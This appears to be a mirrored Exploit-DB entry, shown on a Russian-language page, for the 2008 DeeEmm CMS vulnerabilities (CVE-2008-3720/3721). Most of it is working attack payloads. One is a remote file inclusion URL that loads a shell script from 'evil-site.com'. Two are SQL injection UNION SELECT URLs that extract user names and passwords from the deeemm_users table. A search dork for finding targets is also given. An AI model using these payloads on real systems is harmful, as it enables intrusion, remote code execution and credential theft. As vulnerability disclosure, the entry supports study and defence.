- 34,644
- 0
- 18 Дек 2022
- EDB-ID
- 6250
- Проверка EDB
-
- Пройдено
- Автор
- KHASHAYAR FEREIDANI
- Тип уязвимости
- WEBAPPS
- Платформа
- PHP
- CVE
- cve-2008-3721 cve-2008-3720
- Дата публикации
- 2008-08-15
Код:
#####################################################################################
#### DeeEmm CMS Sql Injection/Rfi ####
#####################################################################################
# #
#AUTHOR : IRCRASH (R3d.W0rm (Sina Yazdanmehr)) #
#Discovered by : IRCRASH (R3d.W0rm (Sina Yazdanmehr)) #
#Our Site : Http://IRCRASH.COM #
#IRCRASH Team Members : Dr.Crash - R3d.w0rm (Sina Yazdanmehr) #
#####################################################################################
# #
#Script Download : http://surfnet.dl.sourceforge.net/sourceforge/dmcms/dmcms_074.tar.gz
# #
#Home Page : www.deeemm.com #
# #
#DORK : "DeeEmm CMS" #
# #
#####################################################################################
# [Rfi] #
# #
#http://Site/user_language.php?INDM=r3d.w0rm&language_dir=http://evil-site.com/shell.txt?
# #
# [Sql Injection] #
# #
#http://Site/index.php?page=media`+union+select+0,1,2,4,5,6,7,8,9,user_name,11,password,13,14,15,16,17,18,19,20,21+from+deeemm_users/* #
#http://Site/index.php?page=media&id=-99999+union+select+0,1,2,4,5,6,7,8,9,user_name,11,password,13,14,15,16,17,18,19,20,21+from+deeemm_users #
# #
#####################################################################################
# Site : Http://IRCRASH.COM #
###################################### TNX GOD ######################################
# milw0rm.com [2008-08-15]
- Источник
- www.exploit-db.com